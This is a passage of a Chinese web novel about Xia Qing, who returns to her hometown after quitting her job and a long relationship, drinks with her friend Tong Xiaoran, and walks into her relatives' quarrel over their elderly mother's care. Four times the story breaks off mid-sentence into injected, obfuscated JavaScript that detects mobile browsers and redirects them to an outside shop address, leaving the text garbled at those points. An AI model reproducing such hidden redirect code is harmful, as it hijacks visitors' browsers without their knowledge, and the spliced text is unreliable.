童晓冉耍赖的靠在她肩上,不客气的点菜:“我要吃糖醋排骨,喝银耳炖土鸡汤,凉拌皮蛋,黄心的那种,再来一碗洋芋粑粑,加巨多脆哨!先这样,明天下班直接开车过来,你好好准备。” 夏轻好心提醒:“童总,明天星期四。” “今天还星期三呢,我不是照样闪现?一脚油门而已。”童总完全没放在心上,还赞美自己,“我可是全行精力最旺盛的牛马!” 夏轻服气了:“行,明天上午去农贸市场。” 意思就是要开大了! 童晓冉抓紧机会追加了几道爱吃的菜。 夏轻劝她善良,她说吃不完打包。 消停了会儿,童晓冉闲扯似的多余问:“真辞职了?” 夏轻点头。 她眼珠子微转:“传说中的背锅侠?” 声光画是娱乐公司,芝麻绿豆的小事都会闹到微博升堂,童晓冉没少关注。 公司上市在即,内部结构重组、人力调动,过程中参杂着派系斗争,都是再正常不过的操作了。 如此关键的时间点,夏轻突然辞职回了老家,童晓冉很难不往牺牲品的方向想。 “那个左总不是把你当失散多年亲闺女吗,她不出面保你?” “她只比我大五岁,况且人有自己的难处。”夏轻淡定的垂着眼皮,吃着烤串儿,口吻轻飘飘,“我自愿的。” 辞职是决定,背锅只是顺便。 她拉了好几个垫背的,不亏! 童晓冉见她无怨无悔,不再替她惋惜。 “前路还长,你起点高,能力强,不愁找工作。回来休息一段时间,咱们从长计议,多给我做点儿好吃的。” 最后一句是重点。 夏轻咬到一颗逃过研磨的花椒粒儿,麻得她呀,皱眉头、眯眼睛,龇牙咧嘴的。 就在这个时候,童晓冉的手机接连收到微信。 拿起来一看,是林奉。 他先对深夜的冒昧打扰道歉,然后直奔主题,问童晓冉知不知道夏轻辞职回老家了?希望她抽空陪陪夏轻,劝她早点回北京。 唯独没提夏轻要跟他分手。 童晓冉直接回语音:“不知道啊,我在加班,你没跟我开玩笑吧?周末我去她家看看。不过她真辞职了,那就多在家休息几天呗,让我劝她回北京干吗?你给她找了更好的工作还是要养她一辈子啊?你爸妈能同意?” 先装傻充愣,再直击要害。 然后聊天框上方出现了“对方正在输入”的提示。 童晓冉像个凯旋的将军,跟夏轻炫耀:“哑火了。” “他那点儿死工资,你让他养我,还一辈子,比直接要他的命还狠呢。” 夏轻也不是不理解林奉。 可林奉理解她吗? 他们大学相恋,至今九个年头,毕业后两人事业发展得都不错。 夏轻进了声光画,从助理一步步成长为策划部独当一面的组长,林奉二战上岸,在国家文物局的下属单位任职,年初还升了职。 按说走到这一步早该谈婚论嫁。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351438|199612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >动作快的,孩子都上幼儿园了。 奈何林奉家看不上夏轻。 京市户口独生子和西南地区走出来的小镇做题家,门不当户不对。 最初两人还能团结一心,林奉和爸妈冷战大半年,从家里搬出来跟夏轻挤在狭窄的出租屋,小日子过得清苦却有滋有味。 时间长了,人麻了,感情也淡了。 今年北京的房价还行,年初开始林家父母催着林奉看房子,安排他相亲。 童晓冉听得拳头硬了:“相亲就过分了啊,当你是死人啊?” 夏轻扬眉:“那确实是巴不得我死的。” 相亲的事情,林奉有对她如实交代。 都是父母的人情,推脱不了,只能去吃个饭,走个过场,应付一下。 这话乍听挺有道理,至少他跟自己一条心不是? 可细细一品,就品出了另一重意思:我爸妈不喜欢你,就算我们在一起九年他们也不喜欢你。所以安排我去相亲,我心里是装着你的,所以我把一切都告诉你,你要理解我的难处。你看我都为你做到这份上了,我是不是很爱你? 爱是什么? 抓不住,看不见,没有形状,从未让夏轻感到踏实的东西。 “或许他想的没有我那么复杂,但相亲的次数多了,难保不会遇上心动女嘉宾。” 夏轻没有爸爸妈妈撑腰,人生的容错率极低。 “很早我就知道我跟林奉走不到结婚那一步。以前不提,是舍不得,是工作忙起来一个月见不了几面,跟异地恋差别不大。” 现在辞职了,充满两人回忆的房子也退了租。 没理由不放手。 夏轻也知道,自己存心纠缠的话,不说让林奉和父母彻底决裂,添添乱是能够的。 她没存那个心。 “好聚好散吧,他现在放不下很正常,时间会抚平一切。” “你这个心态不错。” 童晓冉展开手臂揽住夏轻的肩头,拿着啤酒罐的那只手,翘起食指,指向一处。 顺着指引,夏轻不解的目光越过重重房檐,落在夏家斜对面,亮着客厅灯的院子里。 “那是、裴奶奶家?” 老人家早就过世了,一双儿女各自成家,也不在本地定居的。 童晓冉挂在夏轻身上,说:“上个月陪咱外婆体检完,我送她回来的路上遇到一个特别酷的小哥哥,目测身高188,五官绝了,不比声光画捧的那些明星差!现在他就住裴奶奶家,近水楼台,懂吗?咱们不图别的,就图他好看!” 夏轻被逗笑了:“倒也不是我清心寡欲,是真没那心思。” “我可是为你好!”童晓冉神情凝重,“你以为辞职了,和林奉分手了,人生就要展开新阶段了?” “难道不是?” “且等着吧!第一波暴击是小镇范围内所有人突然用异样眼光看你、质问你:为什么28岁还不结婚生孩子,你是不是有什么毛病?” “我会在意别人怎么看?” “外婆呢?” “……” 夏轻卡壳儿了。 “小镇和首都可不一样,总人口不超过二十万,你的选择范围极其狭小,河对岸拿着拆迁赔偿天天打两块钱麻将混日子的抠脚大强、镇西年纪轻轻就秃头的小方——这些都算优质资源了。到时候你才知道什么叫世界以痛吻你,你无法对世界报之以歌!” “别说了,害怕。” “怕就对了,趁咱婆没给你张罗前,你得先动起来,证明你对人类繁衍这件事兴趣浓厚。”童晓冉在她耳边恶魔低语,“信我,你真的需要这个。” 5. 铁签烤肉,还有冰啤酒3 夏轻每次回来遇到熟人旧友、街坊邻居,最关心的一定是她的人生大事。 家里更不消讲,电话试探是常态,过年催婚是保留节目。 以前有林奉当挂件,勉强能堵住悠悠之口,现在嘛…… 夏轻吃着嘎嘣脆的软骨串儿,假装不经意的问:“那个、咱们镇上的单身女青年,面临的形势——真有那么严重?” 即便做足了思想准备,自认内核稳定强大,可最好的朋友在确定她的现状后,给她的第一条建议居然是找个挡箭牌? “朋友,你是辞职加分手,随便一条发生在淮安镇都按触犯天条算。” 童晓冉瞟了没搞清楚状况的夏轻一眼,发出冰冷的哼笑。 而在童总的世界里,最糟糕的事莫过于下酒菜还富裕,酒已经没了。 拿起手机进外卖软件,果断下单。 夏轻眼睁睁看她要了五件小麦果汁,外加红白葡萄酒各一箱,不禁抗议:“我外婆家可没有存酒服务。” 买那么多,是准备长期蹭饭没错了。 “咱外婆!”童晓冉死皮赖脸纠正,“你出厨艺我出酒,常喝常有!爱喝酒的女孩子运气不会太差!” 夏轻说不过她,只好也拿出手机,点几样馋了很久的家乡小吃。 后半夜。 河对岸褪去了喧嚣,只剩下几道孤单单的人影。 霓虹被夜色揉碎了洒在河面上,像坠落的天河,闪烁出世间百态的脆弱,抑或谁孤注一掷的勇敢? 小镇安静了,人的心也沉淀下来。 夏轻放松的呼吸,将脑袋里所有的念头和想法驱赶出去。 望着流动的夜、温缓的水,感受轻柔的风。 街角的小酒吧挂上“打烊”的牌子。 员工们抬了桌椅到门口布置,点一堆烧烤当宵夜,冰啤酒管够。 老板抱着木吉他坐到高脚凳上,自弹自唱起来—— 给岁月一些留白,也许有闲人去猜, 旧人、旧事,哪个更值得偏爱? 泛黄的昨日年代,褪色的时光站牌, 千种、万种、又落入谁的心怀…… “唱得真好。” 夏轻托着脸颊,陶醉在嗓音干净的歌声里,感觉灵魂都被净化了。 “那是菜市场张记生鲜家的老幺,比我们大两届,有一年校庆他抱着吉他独唱,当时你也说他唱得好,想起没?”童晓冉盯着河对岸说罢,突然坏笑,“他年初离的婚,家里正在积极给他找下家,有没有兴趣接触下?买一送二哦!” “什么买一送二?” “离婚了,两个孩子跟他。” 可不是买一送二么! 夏轻先是愣住,回过味来,瞠大的眼睛里充斥着对此修辞手法的惊呆。 不知道该说是鬼才好,还是鬼畜…… “这对象是非找不可吗?” 她有点儿过不去了。 “我要是有一句夸大,老天爷惩罚我生十个儿子!” 童晓冉张口就是毒誓,剧毒无比。 夏轻彻底无话可说。 远处,一辆装满酒水的三蹦子开进小巷。 凹凸不平的路面颠得小车吵吵闹闹,前头的车灯跟着摇摇晃晃。 童晓冉站起来夸:“酒掌柜的车都是醉的,这叫什么——专业!” 夏轻感叹:“很难想象你已经是六岁孩子的妈了。” “六岁怎么了?他就是六十岁也不能妨碍我陪你一醉方休!” “我谢谢你啊!” 两个人拌着嘴下去开门。 一通忙活,夏轻点的外卖也到了。 童晓冉拿出一罐进口精酿,不顾形象的蹲在箱子前,仰头吨吨吨。 夏轻关好门,回过头来看到她这副形容,没有多余的话,手机打开视频功能,对准目标,记录女酒鬼珍贵画面。 童晓冉眯起眼问:“做什么?” “我结婚的时候放,给吃席的亲友们助个兴。” “既然如此,那我必须给你表演一个绝技!” 童晓冉来劲儿了,满院子转悠着找个什么东西,还要求夏轻给她打光,开美颜滤镜。 就在这个时候,章万玉屋里的灯忽地亮起。 暖黄的灯盈满整个房间,从窗里渗出来,提亮了院子里的夜色。 童晓冉像被抠了电池似的,僵在原地一动不动。 夏轻也懵了,回来第一天就吵了婆的瞌睡? 隔着年前才换的油砂玻璃,依稀看到章万玉坐起来,找到外衣披在肩上,被拉长的身影缓慢却有条不紊。 没过多久,拐杖触地,发出的“笃——笃——笃——”的声响。 出来了? 童晓冉慌了,压着嗓子用气声问:“你婆有起床气吗?吵到她会不会挨揍啊?” 在这条前进巷里,他们的父母辈,谁提起章万玉不心悦诚服的喊一声“章三嬢”? 说一不二的强悍个性,有手段有能力,当然也有点子威望。 童晓冉小时候也不是没被章婆婆收拾过。 这会儿全都回忆起来了。 夏轻见她那怂样,好气又好笑:“不是咱外婆吗?” 童晓冉五官拧在一起,烦躁的冲她挥了下手。 大难临头了,不兴开玩笑! 笃笃笃的拐杖声越来越近,章万玉走到院子里,挑剔的看看夏轻,再看看不知打哪儿钻出来的童晓冉。 表情是没有的,笑容更别奢望。 夏轻跟童晓冉一并默了。 章万玉用眼神压制了两人,不慌不忙的开口,问:“点了什么宵夜,有没有我的?” 乖孙不打声招呼突然回来,弄得她翻来覆去睡不着,怪兴奋。 夏轻反应过来,连忙布置吃的,童晓冉也不看手里拿着什么,只管递去献殷勤。 章万玉有自己的主意,扫了一眼没来得及搬进厨房的几箱,点名喝红的。 一小杯足够。 “我要是年轻个十来岁,你们两个绑在一起都不是我的对手。”老太太要强,总能给自己的找补上。 夏轻笑着附和,童晓冉直呼“外婆爽快人”。 烤串吃着,小酒喝着,有童晓冉这个活宝在,听她数落奇葩同事都能笑得前仰后合。 章万玉年纪大了,陪不动她们小年轻,吃好喝好,径自杵着拐杖回房睡去。 童晓冉借着酒胆跑去门外贴着听了半响,听到老太太均长的鼾声,确定睡着了,高兴的跑回小院,逮着夏轻畅聊。 小时候多快活啊,全是没心没肺的日子。 春困夏乏,在课上打瞌睡可太美妙了。 醒了就传个小纸条,写满了“中午吃啥”、“课间去操场溜达不”、“明早几点见”的废话。 每个学期最怕的是考试,考砸了挨揍是常事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351439|199612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要是超常发挥了,就可以跟爸妈提要求了。 真美妙! 当然也会悄悄喜欢一个谁,发现对方随身携带自己讨厌的女明星的照片,瞬间下头。 “大学一毕业,好日子就到了头。” 喝酒的杯子小,童晓冉一口一杯。 “公务员和编制,必须二选一。考研就算了,现在满大街的研究生,我爸妈直接帮我毙掉了这个选项。” 想去大城市闯一闯的念头,也被强势的父母一并摁住、摁死了。 “你知道我的,从小到大鬼主意多,真到重大抉择,哪次不是听爸妈的?” 二战失败,家里托层层关系把她塞进银行。 接着马不停蹄给她张罗对象。 “24岁的我,每天只有两件事——上班和相亲。” 童晓冉旧事重提,心里仍旧不是滋味。 “要我说,相亲是最违反生物本能的事!” 把两人的出身家世、相貌学历、工作前景,甚至父母健康,所有能够比较的,不能比较的,全部放在一起逐项对比,然后从中求取一个双方都能接受的数值。 这太难了,真的太难了。 童晓冉是乐天派,最开始很想得开的。 相亲嘛,成不成另说,吃顿饭,多认识个朋友,没准对方有困难正想找门路贷款呢? “可是啊、一个月有二十天在同一家饭店,同一间包房,跟不同的男人吃饭,聊差不多的内容,这不奇怪吗?” 童晓冉在最好的年纪,陷入了一个逻辑怪圈。 可是环顾周围,好像大家都一样? 工作、相亲,接受爸妈以“为你好”之名对你的一切安排。 “他们管这叫、孝顺!那我可太笑了,笑死个人的、笑!” “好啦,你已经很厉害了。” 夏轻不让她喝了,半哄半骗的拿走杯子,把人扶进卧室,给她换上自己的睡衣。 童晓冉没有完全醉过去,全程挣扎。 夏轻好不容易把她按老实,折回院子里收拾狼藉,又把一箱箱的酒搬进厨房,整齐堆放在角落里。 回到卧室,刚躺下,还没完全放松的舒出一口气,身旁的童晓冉轻声道:“只能回来休息几天,一周吧,不能再多了。” 夏轻以为她说梦话,侧脸去看,童晓冉睁着眼睛,望着洒在天花板上的月光。 “为什么?” 为什么只能在家呆一周? 夏轻跟童晓冉不一样,母亲被一场意外带走,父亲是个没有心的,无所谓孝不孝。 糟糕的亲情她都可以斩断,外人的眼光和言语,她压根不在乎。 “我们是一样的。” 童晓冉很笃定的看了夏轻一眼。 “只要回到这里,就是一样的。” “工作好不好,工资高不高,都是次要的。” “只有结婚才是女人一辈子最大的成就。” “我也曾经风光过,哈哈哈!” “现在他们私底下议论我,只会说:童老六家姑娘三十不到就离了婚,自己带个孩子,以后可怎么办唷!” “我给爸妈换高档小区的电梯房,送儿子念双语学校,开宝马——他们全都选择性眼瞎,看不见,不知道,日常担心我以后没着落。” “夏轻,听我的,淮安配不上你。你要去北上广,去伦敦,去巴黎,去……最好最好的地方。” 6. 熬猪油,一家一个熬法儿1 第二天,夏轻醒过来的时候,童晓冉已经走了。 床头柜放着张字条,用一坨绿油油的平安扣压着。 字条上,是童总的鬼才求和:忘掉昨晚我跟外婆勾肩搭背喝酒还不知死活非要喊她“章姨”的事。平安扣是失忆费,值老鼻子钱了! 夏轻看得噗嗤喷笑! 冷不防,院里凭空迸出一阵怒骂—— “夏飞琳我给你脸了是吧!从进门就开始翻旧账,老提以前做什么?谁没个困难的时候?这些年我问你拿了多少钱,你算清楚告诉我,我还给你,绝对不会欠你一分!” 夏轻被吓了一跳,听出是四舅夏武阳的声音。 被他指名道姓骂的“夏飞琳”是夏家的三女儿,夏轻的三姨。 “你给我脸?”她战斗力不弱,嗓门更是不小,“从我工作第一年开始,你隔三差五问我要钱,这些年从来没间断过!三姐,我最近手头紧,怎么怎么了,或者直接找到学校来,可怜兮兮的,我哪次没给?哪次又真的要你还过?既然你那么硬气,那还吧,现在就还!” “你他妈掉钱眼里了是吧?” “我掉钱眼里?你们摸着良心讲,我是这个家最早独立出去的,好不容易上班了挣点钱,平时省吃俭用,连旅游都舍不得。今天补贴这个,明天补贴那个,我有主动要你们还过一分钱吗?竟然说我掉钱眼里……” 夏飞琳说到伤心处,止不住抽噎起来。 她的眼泪没能得到兄弟姐妹的体谅,谁也没出言安慰。 反而是夏轻的大舅夏文涛,阴沉着脸跟她算:“夏三妹,我厂子倒闭前借你的六万块钱,我还给你了吧?还清了吧?” 夏文涛在夏家排第二,夏轻的妈妈走了以后,他实际上成为家中的老大。 遗憾不是每个老大都能当好弟弟妹妹的兄长。 夏文涛这话是在开诚布公的撇清,把自己从骂战里摘出去。 夏飞琳听了以后更加伤心了,边哭边数落:“当年你厂子周转不过来,和晓珍一起找我商量,我有没有真金白银的拿出钱来帮你?有没有收你一分利息?是!我借你那六万块你是还给我了,欠债还钱难道不是天经地义?怎么现在弄得好像我是你的仇人?夏文涛你讲点道理!” “我跟你要讲什么道理?把钱还给你就是我的道理!” 夏家的人吵架很有特点:不分大小的指名道姓,而且极其主观,稍不留神就偏移主题。 夏轻听了半天都没搞清楚他们到底为什么吵。 走到窗边,掀开一指窗帘缝—— 除了吵得热火朝天的三人,大舅妈李晓珍,四舅妈秦晴和小姨夏云箐都在。 想来,应该是和昨天阵容相同的原班人马。 外婆呢? 夏轻调整角度,发现章万玉坐在桂花树的台阶下。 她勾着背,大半身形被石桌挡住,双手扶着拐杖,脸贴着手背,目不转睛的看着自己的儿女们,灰蒙的眼珠似乎闪烁着泪光,无助极了。 夏轻心里发紧,却知道现在不是出去的时候。 外面,夏飞琳还跟从前一样爱翻旧账,恨不得从记事说起,非要把桩桩件件的道理说明白,原本占着理也让人十分厌烦。 刚才夏武阳就是这么被她搞崩的。 “夏三妹你没完了是不是?!借你点钱你就了不起了,还钱也不行,拿我的命抵给你行不行?!” 好了,夏文涛也崩了。 本来想忍忍,一如既往的忍不住。 夏飞琳跳起来他嚷:“你的命自己留着吧,我才不稀罕!都说我掉钱眼里,我不省吃俭用,能在你们一个两个困难的时候接济你们?还没有感恩的心!” 夏文涛气得口沫横飞:“感恩感恩,谢谢你在我最困难的时候借了我六万块,看你那张狂的样子,不知道的还以为我借了你六百万!” 夏武阳帮腔:“你跟她说这些干嘛?全世界都欠她的,她根本看不起我们这些兄弟。” 李晓珍把还想开口的夏文涛拉到一旁:“好了,别吵了,今天不是专程来妈这儿讲这些的。” 是劝架,也是拉回正题。 由始至终都在玩手机的夏云箐抬起头,随口附和:“是啊,你们能不能别吵了。” 夏武阳冷笑着,单独用手指点了点她:“夏幺妹,你还不知道你三姐在外面是怎么编排你的吧?” 夏云箐看了一眼夏飞琳,又望回她四哥,嘻地一笑:“我知道啊,那又怎么了?我总比你有出息,至少我没跟三姐借过钱。” 夏武阳脸色唰地一下就沉了,倾身向她跨过去,一副要揍她的架势。 秦晴眼疾身快,移步把他挡在跟前。 劝的劝,闹的闹,夏飞琳依旧哭哭啼啼的“想当年”。 夏轻在房间里看着这一大家子人,被一种难以用言语形容的无奈感包围。 清官难断家务事。 何况她只是个小辈…… “都别吵了!吵什么?嫌我死得不够快是不是?!” 章万玉在儿女的混战中爆发,拐杖发泄的杵着地面,一下下的,撞击出顿挫沉闷的声响。 “怪我,让你们从一个娘胎里生出来,没能给你们最好的,老了还要拖累你们!” “妈您别这么说,我从来没嫌弃过这个家,我只是——”夏飞琳笨拙的解释,余光扫向总跟自己对着干的兄弟俩,咬了咬牙,“我只是恨铁不成钢!” “是,兄弟们不争气,没能当成大官、大老板,给你夏三妹拖后腿了。” 夏武阳逮着机会阴阳怪气,还钱的事是只字不提。 夏文涛用嘲讽意味十足的闷笑声来支持四弟。 夏飞琳受伤的一滞,眼泪汹涌而出。 “一家人老争这些有什么意思,龙生九子还各有不同呢,大家都互相包容一下吧。我先走了,还有事儿呢。” 夏云箐眼习惯性的和两句稀泥,手机放进包包里,准备开溜。 “不行!关于妈的养老问题,今天必须商量出个结果,不然谁也别想走!” 前一秒还在抽泣的夏飞琳见她要走,立马变强势。 夏文涛最烦她越过自己充老大,皱着眉头吼:“妈在这儿住得好好的,你非要把我们聚过来商量给她养老,怎么养?什么都要按照你说的办,什么道理都在你那边,你当自己是天王老子?” 原来是为给外婆养老的问题而开的小会。 夏轻可算是抓到核心了…… “好什么?!一点都不好!”夏飞琳嘶哑着喉咙,“妈今年77岁了!有什么底气说她在这里住得好?要不是先前传拆迁,你们一个月回来看妈几次啊?!上个星期她摔在家门口起不来,要不是我来送东西,后果不堪设想!” 此话一出,兄弟姐妹几个才露出几分真实的担忧,齐刷刷的看向年迈的母亲。 章万玉也急了,怪三女儿:“让你别说别说,你嘴巴那么多做什么?我都没事了。” 转念,她想到眼前这场争端的缘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351440|199612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由,痛心自责道:“都怪我不好,老了不死,就是个累赘!” 大家都紧忙安慰她。 “怎么能叫拖累呢?没有您哪儿来的我们。” “前进巷谁不知道章姨的厉害,一手拉扯大我们几个,七十看着跟六十出头差不多,耳聪目明,头发都没怎么白!” “就是,别人家子女每个月掏钱孝敬老母亲,您花着自己的退休金,上医院都不要我们几个陪,哪里拖累我们了。” 章万玉被子女闹得心力交瘁,哭诉道:“要是我一个月工资有八千平时就能多支援你们一些,要是前进巷能拆迁,拿到钱,我一分都不留,给你们几个分干净!” 孩子们长大了,各自成了家,也有了自己的孩子。 于是不能事事以她这个老母亲为优先。 章万玉什么都知道,什么都体谅。 她只恨自己没出息,没本事,年轻时没找到好单位,中年没能发大财,老了没有快点死! “我们没人惦记那点拆迁款!根本赔不了多少。”夏武阳张口就来,“再说不是下了文件不拆了么,妈您就安心在这儿住,我明天搬过来陪你!” 几个子女中,章万玉是最偏心老四的。 有那么一瞬间,她真的信了夏武阳的话,表情里明显有了期待。 像是漂浮在茫茫大海上的人,找到了一根可以生存的浮木。 但很快她意识到了什么,扭头去看秦晴对这个提议的反应态度。 在夏武阳的小家庭里,夏武阳做不了主。 果然,秦晴一脸的尴尬局促。 碍于全家人在场,她勉强道:“妈,您要是觉得武阳在身边陪着安心,那就让他搬过来住。” “这不是解决问题的长久办法。”夏飞琳一口否决,难得智商在线一次,没有去掰扯夏老四靠不住也根本不会搬过来的事实。 章万玉轻飘飘的问她:“所以你们拿我当个问题,今天非要解决掉,心里头才安逸,是吗?” 夏飞琳被噎得无话可说,人都傻了。 “不是拿您当问题,是您年纪大了,您一个人住在前进巷我们不放心。” 吵了那么久,夏文涛终于说了句像样的话。 “我有个想法。”他拿出长子应该有的样子,当着章万玉的面说,“现在很多养老院设施完善,伙食好,还配备医护人员,24小时有人值班,妈您要是愿意的话,找一天我们开车陪您去看看,您要是觉得可以,咱们试住几天,不喜欢的话立马掉头就走。” 夏武阳眼睛一亮:“这个主意不错!你们是知道我的,就一开车的司机,老板去哪儿我去哪儿,不能总陪在妈身边。” 夏飞琳听不得他花言巧语,戳破道:“说得好像你一直在院儿里住着给妈尽孝似的。” “妈!”李晓珍打断他们的争执,上前握住章万玉的手,“我也不瞒您了,这事是我和文涛来之前商量的,就看您的意思了。” 夏云箐事不关己:“我觉得养老院不错啊,有吃有喝还有人一起玩。妈您去看一眼,就当出去散散心,咱也不是说去了就立马住进去。您就是太孤僻了,应该多交点朋友。” 子女们你一言我一语,章万玉被他们搅得六神无主。 即便抗拒的重复了好几遍“我不住养老院”,儿子媳妇女儿们却像没听见,一味的劝。 “今天怎么这么热闹啊,都知道我回来了?” 夏轻笑呵呵的从屋里走出来,给了长辈们巨大一个惊喜。 7. 熬猪油,一家一个熬法儿2 早十点的光景,阳光照进小院里。 轻盈而温暖的浅金,弱化了院中胶着的气氛。 “我刚结束一个项目,回来休息几天,避避暑。” 夏轻三言两语交代了自己,对先前的争吵只字不提,弯腰扶正不知道谁踢翻的椅子,又去厨房拿来扫把,清扫满地的玻璃碎片和茶渣。 满院子的人呆呆的望着她扫地,皆有出不同程度的错愕。 以及尴尬。 就连章万玉都被儿女们闹得晕头转向,忘了孙女昨天回来了,正在房间里睡觉呢。 吵了差不多小四十分钟,没听见是绝不可能的。 不过吵架算夏家的固定节目了,芝麻绿豆都得争几句,今天的架绝不拖延到明天。 大事更不消讲,总要爆发几场酣畅淋漓的战争! 幸而吵到最后是能把问题解决的。 吵完翻篇,没谁真的记仇。 不管怎么样,夏轻的出现打断了把章万玉送养老院的议题进程。 “你什么时候到的,回来也不提前说一声,我开车来机场接你!” 扫帚来到夏武阳跟前,他小跳着让开,望向外甥女的眼神里充满惊奇。 “昨天上午到的。”夏轻低头扫地,嘴角挂着笑,故意说谎,“我到的时候你们刚走,真不巧。” 夏文涛等人心虚的面面相觑。 幸亏没遇见! 转念一想,不对啊,前进巷才多大点儿? 谁家有个什么风吹草动,不出半天功夫就传开了。 昨天吵得那么厉害,就天天在榕树下搓麻将那几个,肯定会给夏轻通风报信的! 所以她嘴里的“真不巧”,是在点舅舅姨妈们呢! 夏云箐瞧着她,似笑非笑的:“那确实不太巧。” 夏轻煞有其事的点头,脸上只有没能立刻见到全家人的遗憾。 “不过还好,才隔一天就见到你们了,怎么不算心有灵犀呢?” 她抬起脸,对小姨笑得呀,比阳光还灿烂。 夏云箐被内涵到了,气得直翻白眼。 兄弟姐妹里,唯独夏武阳没品出夏轻的话中话。 他自小就得夏庆光和章万玉的偏爱,四十多岁了还是小孩儿心性,平时跟小辈也能玩到一起。 夏轻是大姐的独苗,前进巷最有出息的孩子,名校的学历,首都的工作,他外甥女,姓夏! “回来一趟不容易。”夏武阳见到她,打心底的高兴,“这次准备呆几天?你不是喜欢喝葡萄酒吗,我老板送了我一瓶,进口的!改天给你拿过来。” 夏轻正要应下,章万玉突然插话道:“昨天晚上童家那个疯姑娘搬了十几箱酒过来,都不知道什么时候才喝得完,你又拿?” “十几箱?!都是些什么酒啊?”夏武阳眼珠子一转,问夏轻,“四舅帮你消灭两箱?” 章万玉充当孙女的代言人:“不需要。你当舅舅问外甥女要酒喝,好意思吗?搞不懂这酒有什么好喝的,喝多了伤身体。” 夏轻也说:“没有十几箱那么多,都是精酿和葡萄酒。” “那算了。”夏武阳好白的,果断摇头拒绝。 李晓珍见他们你一眼我一语的把话题扯远,丈夫缩头缩脑的杵在一边,不用问,又犹豫了! “还是先说正事吧。”她一咬牙,强挤出笑容,喊了章万玉一声“妈”,“我们刚才的提议,您觉得怎么样?” 章万玉神情一凝,本就泛红的眼眶沁出细微湿意。 夏飞琳见老母亲这样的反应,当即明白她心里的想法了,表态道:“不能送妈去养老院,她住不惯的。” “是你说一定要商量出个结果,现在有了结果你又来反对,夏飞琳你吃撑了是吧?” 夏武阳像个不稳定的电子炮仗,触发条件就是他三姐开口说话。 “我不跟你吵。”夏飞琳坚持己见,“但我绝不同意把妈送进养老院!” 又开始了…… 夏文涛烦躁的冲她吼:“怎么做你都不满意,你把妈接到自己家伺候,看看她老人家满不满意!” 这话正好对上夏飞琳真正的想法。 “我求之不得!”她用余光斜了李晓珍一眼,“大姐走得早,可妈还有我们四个子女在。她一家住三个月,这样不会太闷,我们各自家里的负担也不大。昨天回家后,我就把这事跟长新、倩倩还有刘逊说了,他们都支持我。只要妈点头,今天就可以跟我回筑城,拎包入住!” 谁还没个商量的人? 夏飞琳的丈夫尊重她,女儿女婿孝顺她,就连三岁半的外孙女都愿意和祖祖住! 她后盾坚强! 比起去住养老院,这个到子女家巡回住的提议明显靠谱多了。 章万玉还没想好要不要点头呢,其他三家都不约而同的摇起头来。 秦晴是第一个开口的,对着夏飞琳为难道:“三姐,你知道我们家情况,平时我和武阳要上班,航航刚升初中,学习紧张,晚饭都只能在外面吃了再回来。况且我们家房子小,只有两室一厅,不像你们家那么宽敞……” 夏云箐愁眉苦脸的哼唧:“我家倒是大,可我粗心,怕照顾不好妈。大海今年一直在忙广东的生意,三天两头往那边跑,他不在家我都点外卖吃,妈总不能跟着我吃薯条炸鸡、喝冰可乐吧?” “你家不是请了两个保姆?”夏文涛拿话刺她,“一个负责卫生,一个负责做饭,把你惯得跟个巨婴似的,怎么说到接妈去住你就推三阻四的,保姆也人间蒸发了。” “那两个阿姨手脚不干净,我辞退了不行吗?” “辞退了不能再找?一天天的就属你借口最多!” “我听二哥这话里的意思,你也同意一家照顾妈妈三个月?” 夏云箐娇滴滴的一问,夏文涛猝不及防的一愣,下意识去看李晓珍。 来之前商量好的,送妈去养老院! 院子就那么点儿大,家里就这么些个人,谁打什么主意,谁跟谁交换了眼神,一目了然的事。 夏飞琳发出一声极其不屑的冷笑。 夏文涛脸上挂不住,没跟她吵。 兄妹四人,夏武阳是娶得好,夏云箐嫁得好,夏飞琳管家管得好,唯独夏文涛大起大落。 厂子倒闭以后,他从厂长沦为保安,家里经济情况更是一落千丈。 有很长一段时间,全靠着李晓珍微薄的工资过活。 偏偏儿子还不争气,净会气他…… 夏轻把垃圾收装好,扫帚挨墙支放,对一家人道:“你们不用讨论了,外婆就住这儿,我会照顾她的。” 此话一出,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 